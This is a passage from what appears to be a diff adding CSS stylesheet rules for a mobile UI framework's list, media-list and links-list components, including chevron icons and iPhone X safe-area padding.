url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'8px'%20height%3D'13px'%20viewBox%3D'0%200%208%2013'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpolygon%20fill%3D'%23434345'%20transform%3D'translate(6.500000%2C%206.500000)%20rotate(-225.000000)%20translate(-6.500000%2C%20-6.500000)%20'%20points%3D'11%2011%2011%202%209%202%209%209%202%209%202%2011%2010%2011'%3E%3C%2Fpolygon%3E%3C%2Fsvg%3E"); +} +.theme-dark .media-list .item-link .item-inner, +.media-list.theme-dark .item-link .item-inner, +.theme-dark li.media-item .item-link .item-inner { + background-image: none; +} +.md .list { + margin: 32px 0; + font-size: 16px; +} +.md .list .item-cell { + width: 100%; + min-width: 0; + margin-right: 16px; +} +.md .list .item-cell:first-child { + margin-right: 0; +} +.md .list ul ul { + padding-right: 56px; +} +.md .list .item-media { + padding-top: 8px; + min-width: 40px; +} +.md .list .item-media i + i, +.md .list .item-media i + img { + margin-right: 8px; +} +.md .list .item-media + .item-inner { + margin-right: 16px; +} +.md .list .item-inner { + min-height: 48px; + padding-left: 16px; +} +.md .list .item-after { + color: #757575; + font-size: 14px; + padding-right: 8px; +} +.md .list .item-link, +.md .list .list-button { + color: inherit; +} +.md .list .item-link .item-inner, +.md .list .list-button .item-inner { + padding-left: 42px; +} +.md .list .item-link.active-state, +.md .list .list-button.active-state { + background-color: rgba(0, 0, 0, 0.1); +} +.md .list .list-button { + padding: 0 16px; + font-size: 16px; + line-height: 48px; +} +.md .list .item-content { + min-height: 48px; + padding-right: 16px; +} +.md .list .item-subtitle { + font-size: 14px; +} +.md .list .item-text { + font-size: 14px; + color: #757575; + line-height: 20px; + max-height: 40px; +} +.md .list .item-header, +.md .list .item-footer { + font-weight: normal; + font-size: 12px; + line-height: 1.2; + white-space: normal; +} +.md .list .item-footer { + color: rgba(0, 0, 0, 0.5); +} +.md .list .item-link.no-chevron .item-inner, +.md .list.no-chevron .item-link .item-inner, +.md .list .no-chevron .item-link .item-inner, +.md .no-chevron .list .item-link .item-inner { + padding-left: 16px; +} +.md .simple-list li:after { + content: ''; + position: absolute; + background-color: rgba(0, 0, 0, 0.12); + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +.md.device-pixel-ratio-2 .simple-list li:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.md.device-pixel-ratio-3 .simple-list li:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.md .simple-list li { + padding-left: 16px; + padding-right: 16px; + line-height: 48px; + height: 48px; +} +.md .simple-list li:after { + width: auto; + left: 0; + right: 16px; +} +.md .links-list a:after { + content: ''; + position: absolute; + background-color: rgba(0, 0, 0, 0.12); + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +.md.device-pixel-ratio-2 .links-list a:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.md.device-pixel-ratio-3 .links-list a:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.md .links-list a { + height: 48px; + color: inherit; +} +.md .links-list a.active-state { + background-color: rgba(0, 0, 0, 0.1); +} +.md .links-list a:after { + width: auto; +} +.md .links-list a { + padding-right: 16px; + padding-left: 42px; +} +.md .links-list a:after { + right: 16px; + left: 0; +} +.md .links-list.no-chevron a, +.md .no-chevron .links-list a, +.md .links-list a.no-chevron, +.md .links-list .no-chevron a { + padding-left: 16px; +} +.md .media-list .item-inner, +.md li.media-item .item-inner { + padding-top: 14px; + padding-bottom: 14px; +} +.md .media-list .item-link .item-inner, +.md li.media-item .item-link .item-inner { + padding-left: 16px; +} +.md .media-list .item-link .item-title-row, +.md li.media-item .item-link .item-title-row { + padding-left: 26px; +} +.md .media-list .item-media, +.md li.media-item .item-media { + padding-top: 14px; + padding-bottom: 14px; +} +.md .media-list.chevron-center .item-link .item-inner, +.md .media-list .chevron-center .item-link .item-inner, +.md .media-list .item-link.chevron-center .item-inner, +.md li.media-item.chevron-center .item-link .item-inner, +.md li.media-item .item-link.chevron-center .item-inner, +.md li.media-item .chevron-center .item-link .item-inner { + padding-left: 42px; +} +.md .media-list.no-chevron .item-link .item-title-row, +.md .no-chevron .media-list .item-link .item-title-row, +.md .media-list .no-chevron .item-link .item-title-row, +.md li.media-item.no-chevron .item-link .item-title-row, +.md .no-chevron li.media-item .item-link .item-title-row, +.md .media-list.chevron-center .item-title-row, +.md .media-list .chevron-center .item-title-row, +.md li.media-item.chevron-center .item-title-row, +.md li.media-item .chevron-center .item-title-row { + padding-left: 0 !important; +} +.md .list .item-link .item-inner, +.md .links-list a { + background-position: 16px center; +} +.md .item-divider, +.md .list-group-title { + padding: 0 16px; + background: #f4f4f4; + color: rgba(0, 0, 0, 0.54); + height: 48px; + line-height: 48px; + -webkit-box-sizing: border-box; + box-sizing: border-box; + font-size: 14px; +} +.md .item-divider:before, +.md .list-group-title:before { + display: none !important; +} +.md .item-divider:after, +.md .list-group-title:after { + display: none !important; +} +.md .list-group-title { + margin-top: 0; +} +.md .list .item-inner:after { + content: ''; + position: absolute; + background-color: rgba(0, 0, 0, 0.12); + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +.md.device-pixel-ratio-2 .list .item-inner:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.md.device-pixel-ratio-3 .list .item-inner:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.md .list ul:before { + content: ''; + position: absolute; + background-color: rgba(0, 0, 0, 0.12); + display: block; + z-index: 15; + top: 0; + right: auto; + bottom: auto; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 0%; + transform-origin: 50% 0%; +} +.md.device-pixel-ratio-2 .list ul:before { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.md.device-pixel-ratio-3 .list ul:before { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.md .list ul:after { + content: ''; + position: absolute; + background-color: rgba(0, 0, 0, 0.12); + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +.md.device-pixel-ratio-2 .list ul:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.md.device-pixel-ratio-3 .list ul:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.md .list.inset { + margin-left: 16px; + margin-right: 16px; + border-radius: 4px; +} +.md .list.inset ul { + border-radius: 4px; +} +.md .list.inset li:first-child > a { + border-radius: 4px 4px 0 0; +} +.md .list.inset li:last-child > a { + border-radius: 0 0 4px 4px; +} +.md .list.inset li:first-child:last-child > a { + border-radius: 4px; +} +@media (min-width: 768px) { + .md .list.tablet-inset { + margin-left: 16px; + margin-right: 16px; + border-radius: 4px; + } + .md .list.tablet-inset li:first-child > a { + border-radius: 4px 4px 0 0; + } + .md .list.tablet-inset li:last-child > a { + border-radius: 0 0 4px 4px; + } + .md .list.tablet-inset li:first-child:last-child > a { + border-radius: 4px; + } +} +.md li li:last-child .item-inner:after, +.md li:last-child li .item-inner:after { + content: ''; + position: absolute; + background-color: rgba(0, 0, 0, 0.12); + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +html.device-pixel-ratio-2 .md li li:last-child .item-inner:after, +html.device-pixel-ratio-2 .md li:last-child li .item-inner:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +html.device-pixel-ratio-3 .md li li:last-child .item-inner:after, +html.device-pixel-ratio-3 .md li:last-child li .item-inner:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +@media (orientation: landscape) { + .md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li, + .md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li { + padding-left: calc(16px + constant(safe-area-inset-left)); + padding-left: calc(16px + env(safe-area-inset-left)); + } + .md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-divider, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-divider, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-divider, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-divider, + .md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-divider, + .md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .list-group-title, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .list-group-title, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .list-group-title, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .list-group-title, + .md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .list-group-title { + padding-left: calc(16px + constant(safe-area-inset-left)); + padding-left: calc(16px + env(safe-area-inset-left)); + } + .md.device-iphone-x .ios-left-edge .list.inset:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .ios-edges .list.inset:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .popup .list.inset:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .sheet-modal .list.inset:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .panel-left .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) { + margin-left: calc(16px + constant(safe-area-inset-left)); + margin-left: calc(16px + env(safe-area-inset-left)); + } + .md.device-iphone-x .ios-left-edge .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .md.device-iphone-x .ios-edges .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .md.device-iphone-x .popup .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .md.device-iphone-x .sheet-modal .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .md.device-iphone-x .panel-left .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .md.device-iphone-x .ios-left-edge .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer, + .md.device-iphone-x .ios-edges .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer, + .md.device-iphone-x .popup .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer, + .md.device-iphone-x .sheet-modal .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer, + .md.device-iphone-x .panel-left .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer { + padding-left: 15px; + } + .md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link .item-inner, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link .item-inner, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link .item-inner, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link .item-inner, + .md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link .item-inner, + .md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a, + .md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a { + background-position: calc(16px + constant(safe-area-inset-left)) center; + background-position: calc(16px + env(safe-area-inset-left)) center; + } + .md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-inner, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-inner, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-inner, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-inner, + .md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-inner { + padding-left: calc(16px + constant(safe-area-inset-left)); + padding-left: calc(16px + env(safe-area-inset-left)); + } + .md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link .item-inner, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link .item-inner, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link .item-inner, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link .item-inner, + .md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link .item-inner { + padding-left: calc(42px + constant(safe-area-inset-left)); + padding-left: calc(42px + env(safe-area-inset-left)); + } + .md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .item-link .item-inner, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .item-link .item-inner, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .item-link .item-inner, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .item-link .item-inner, + .md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .item-link .item-inner, + .md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .item-link .item-inner, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .item-link .item-inner, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .item-link .item-inner, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .item-link .item-inner, + .md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .item-link .item-inner { + padding-left: calc(16px + constant(safe-area-inset-left)); + padding-left: calc(16px + env(safe-area-inset-left)); + } + .md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a, + .md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a { + padding-left: calc(42px + constant(safe-area-inset-left)); + padding-left: calc(42px + env(safe-area-inset-left)); + } + .md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list.chevron-center .item-link .item-inner, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list.chevron-center .item-link .item-inner, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list.chevron-center .item-link .item-inner, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list.chevron-center .item-link .item-inner, + .md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list.chevron-center .item-link .item-inner, + .md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .chevron-center .item-link .item-inner, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .chevron-center .item-link .item-inner, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .chevron-center .item-link .item-inner, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .chevron-center .item-link .item-inner, + .md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .chevron-center .item-link .item-inner, + .md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .item-link.chevron-center .item-inner, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .item-link.chevron-center .item-inner, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .item-link.chevron-center .item-inner, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .item-link.chevron-center .item-inner, + .md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .item-link.chevron-center .item-inner, + .md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item.chevron-center .item-link .item-inner, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item.chevron-center .item-link .item-inner, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item.chevron-center .item-link .item-inner, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item.chevron-center .item-link .item-inner, + .md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item.chevron-center .item-link .item-inner, + .md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .item-link.chevron-center .item-inner, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .item-link.chevron-center .item-inner, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .item-link.chevron-center .item-inner, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .item-link.chevron-center .item-inner, + .md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .item-link.chevron-center .item-inner, + .md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .chevron-center .item-link .item-inner, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .chevron-center .item-link .item-inner, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .chevron-center .item-link .item-inner, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .chevron-center .item-link .item-inner, + .md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .chevron-center .item-link .item-inner { + padding-left: calc(42px + constant(safe-area-inset-left)); + padding-left: calc(42px + env(safe-area-inset-left)); + } + .md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link.no-chevron .item-inner, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link.no-chevron .item-inner, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link.no-chevron .item-inner, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link.no-chevron .item-inner, + .md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link.no-chevron .item-inner, + .md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).no-chevron .item-link .item-inner, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).no-chevron .item-link .item-inner, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).no-chevron .item-link .item-inner, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).no-chevron .item-link .item-inner, + .md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).no-chevron .item-link .item-inner, + .md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .no-chevron .item-link .item-inner, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .no-chevron .item-link .item-inner, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .no-chevron .item-link .item-inner, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .no-chevron .item-link .item-inner, + .md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .no-chevron .item-link .item-inner, + .md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list.no-chevron a, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list.no-chevron a, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list.no-chevron a, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list.no-chevron a, + .md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list.no-chevron a, + .md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a.no-chevron, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a.no-chevron, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a.no-chevron, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a.no-chevron, + .md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a.no-chevron, + .md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list .no-chevron a, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list .no-chevron a, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list .no-chevron a, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list .no-chevron a, + .md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list .no-chevron a { + padding-left: calc(16px + constant(safe-area-inset-left)); + padding-left: calc(16px + env(safe-area-inset-left)); + } + .md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list.no-chevron .item-link .item-title-row, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list.no-chevron .item-link .item-title-row, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list.no-chevron .item-link .item-title-row, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list.no-chevron .item-link .item-title-row, + .md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list.no-chevron .item-link .item-title-row, + .md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .no-chevron .item-link .item-title-row, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .no-chevron .item-link .item-title-row, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .no-chevron .item-link .item-title-row, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .no-chevron .item-link .item-title-row, + .md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .no-chevron .item-link .item-title-row, + .md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item.no-chevron .item-link .item-title-row, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item.no-chevron .item-link .item-title-row, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item.no-chevron .item-link .item-title-row, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item.no-chevron .item-link .item-title-row, + .md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item.no-chevron .item-link .item-title-row, + .md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).no-chevron li.media-item .item-link .item-title-row, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).no-chevron li.media-item .item-link .item-title-row, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).no-chevron li.media-item .item-link .item-title-row, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).no-chevron li.media-item .item-link .item-title-row, + .md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).no-chevron 